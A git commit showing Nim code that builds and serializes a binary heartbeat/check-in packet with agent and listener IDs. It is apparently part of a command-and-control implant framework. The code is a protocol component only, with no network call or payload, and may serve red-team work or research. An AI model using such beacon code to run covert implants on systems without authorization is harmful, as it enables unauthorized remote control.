Implemented Heartbeat/Checkin request with agentId/listenerId in request body to simplify listener URLs

This commit is contained in:
Jakob Friedl
2025-07-22 21:00:39 +02:00
parent 1a3724a2fd
commit 725696ffa5
17 changed files with 362 additions and 286 deletions

View File

@@ -0,0 +1,48 @@
import times
import ../../../common/[types, serialize, utils]
proc createHeartbeat*(config: AgentConfig): Heartbeat =
return Heartbeat(
header: Header(
magic: MAGIC,
version: VERSION,
packetType: cast[uint8](MSG_HEARTBEAT),
flags: cast[uint16](FLAG_PLAINTEXT),
seqNr: 0'u32, # Sequence number is not used for heartbeats
size: 0'u32,
hmac: default(array[16, byte])
),
agentId: uuidToUint32(config.agentId),
listenerId: uuidToUint32(config.listenerId),
timestamp: uint32(now().toTime().toUnix())
)
proc serializeHeartbeat*(request: Heartbeat): seq[byte] =
var packer = initPacker()
# Serialize check-in / heartbeat request
packer
.add(request.agentId)
.add(request.listenerId)
.add(request.timestamp)
let body = packer.pack()
packer.reset()
# TODO: Encrypt check-in / heartbeat request body
# Serialize header
packer
.add(request.header.magic)
.add(request.header.version)
.add(request.header.packetType)
.add(request.header.flags)
.add(request.header.seqNr)
.add(cast[uint32](body.len))
.addData(request.header.hmac)
let header = packer.pack()
return header & body